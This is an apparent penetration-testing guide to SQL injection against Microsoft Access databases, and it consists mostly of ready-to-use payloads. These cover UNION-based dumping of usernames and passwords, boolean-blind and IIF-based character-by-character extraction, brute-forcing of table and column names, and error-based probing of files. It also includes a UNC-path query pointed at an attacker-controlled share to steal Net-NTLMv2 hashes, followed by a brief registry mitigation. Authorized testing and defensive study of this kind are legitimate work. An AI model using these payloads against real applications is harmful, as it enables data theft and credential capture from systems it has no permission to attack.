MS Access SQL Injection Testing
A comprehensive guide for testing SQL injection vulnerabilities in Microsoft Access (Jet/ACE) databases. MS Access has unique characteristics that require specialized techniques.
Key MS Access Limitations
No Comments
MS Access doesn't support SQL comments. Use NULL character (%00) to terminate queries:
1' UNION SELECT 1,2 FROM table%00
Or fix syntax with a tautology:
1' UNION SELECT 1,2 FROM table WHERE ''='
No LIMIT - Use TOP/LAST
MS Access doesn't support LIMIT. Use TOP for first N rows and LAST for rows from the end:
-- Get first 3 rows
1' UNION SELECT TOP 3 attr FROM table%00
-- Get last row
1' UNION SELECT LAST(attr) FROM table%00
No Stacked Queries
MS Access doesn't support multiple statements in one query.
String Concatenation
Use & or + for string concatenation:
1' UNION SELECT 'web' & 'app' FROM table%00
1' UNION SELECT 'web' + 'app' FROM table%00
Core Techniques
Chaining Equals (Boolean Blind)
MS Access allows unusual syntax like '1'=2='3'='asd'=false. Use this for boolean-based blind SQLi:
Extract substring from current column:
'=(Mid(username,1,3)='adm')='
Extract from another table (requires table name):
'=(Mid((select last(username) from (select top 1 username from users)),1,3)='Alf')='
Brute-force table names:
'=(select top 1 'lala' from <table_name>)='
-1' AND (SELECT TOP 1 <table_name>)%00
Brute-force column names:
'=column_name='
-1' GROUP BY column_name%00
'=(SELECT TOP 1 column_name FROM valid_table_name)='
IIF-Based Data Extraction
Use IIF() to create boolean conditions that trigger different responses:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
This returns 0 (200 OK) if true, or 'ko' (500 error) if false. Adjust TOP and MID indices to extract all characters.
Time-Based Blind (UNC Path)
Jet/ACE doesn't have SLEEP(), but you can force delays via UNC paths:
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Point to:
- A slow SMB share
- A host that drops TCP after SYN-ACK
- A firewall sinkhole
The HTTP response time reflects the round-trip latency.
Enumeration
Get Table Names
Via system table (if accessible):
SELECT MSysObjects.name
FROM MSysObjects
WHERE MSysObjects.type IN (1,4,6)
AND MSysObjects.name NOT LIKE '~*'
AND MSysObjects.name NOT LIKE 'MSys*'
ORDER BY MSysObjects.name
Via brute-force (chaining equals):
'=(select top 1 'lala' from <table_name>)='
Use common table names:
users,admin,accounts,customers,productsorders,invoices,payments,transactionsemployees,departments,categories
Get Column Names
Current table:
'=column_name='
-1' GROUP BY column_name%00
Other table:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
Common columns: username, password, email, id, name, created, updated
Data Extraction Patterns
UNION-Based
-1' UNION SELECT username,password FROM users%00
Note: MS Access requires a FROM clause in all subqueries and UNIONs. You must know a valid table name.
Boolean-Based (Character by Character)
Extract username from users table:
-- Position 1, character 'a'
'=(Mid((select last(username) from (select top 1 username from users)),1,1)='a')='
-- Position 2, character 'd'
'=(Mid((select last(username) from (select top 1 username from users)),2,1)='d')='
Increment TOP to get different rows, increment MID position to get different characters.
Error-Based
Web root path disclosure:
1' UNION SELECT 1 FROM FakeDB.FakeTable%00
File existence check:
1' UNION SELECT name FROM msysobjects IN '\\boot.ini'%00
1' UNION SELECT 1 FROM C:\boot.ini.TableName%00
Database filename guessing:
1' UNION SELECT 1 FROM name[i].realTable%00
Advanced: NTLM Credential Theft
Since Jet 4.0, queries can reference remote databases via IN '<path>':
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'--
Impact:
- Out-of-band exfiltration of Net-NTLMv2 hashes
- Potential RCE via Jet/ACE parser bugs (e.g., CVE-2021-28455)
Requirements:
- Registry key
AllowQueryRemoteTablesmust not be set to0 - Outbound SMB/WebDAV must not be blocked
Mitigation:
- Set
HKLM\Software\Microsoft\Jet\4.0\Engines\AllowQueryRemoteTables = 0 - Block outbound SMB/WebDAV at network boundary
Useful Functions
| Function | Description | Example |
|---|---|---|
Mid(str, pos, len) |
Substring (1-indexed) | Mid('admin',1,1) → 'a' |
LEN(str) |
String length | LEN('1234') → 4 |
ASC(char) |
ASCII value | ASC('A') → 65 |
CHR(code) |
Char from ASCII | CHR(65) → 'A' |
IIF(cond, a, b) |
If-then-else | IIF(1=1,'a','b') → 'a' |
COUNT(*) |
Count rows | COUNT(*) |
TOP n |
First n rows | SELECT TOP 10 * FROM t |
LAST(col) |
Last value | SELECT LAST(id) FROM t |
Testing Workflow
- Confirm SQLi - Test basic injection with
'andUNION SELECT - Determine column count - Use
ORDER BYorUNION SELECT NULL,NULL,... - Identify table - Brute-force with chaining equals or query
MSysObjects - Identify columns - Use
GROUP BYor brute-force with chaining equals - Extract data - Use UNION-based if possible, otherwise boolean-based
- Check for advanced vectors - UNC path for NTLM theft, file access
Scripts
See scripts/ directory for:
generate_payloads.py- Generate MS Access SQLi payloadsbrute_tables.py- Brute-force table namesextract_data.py- Extract data character-by-character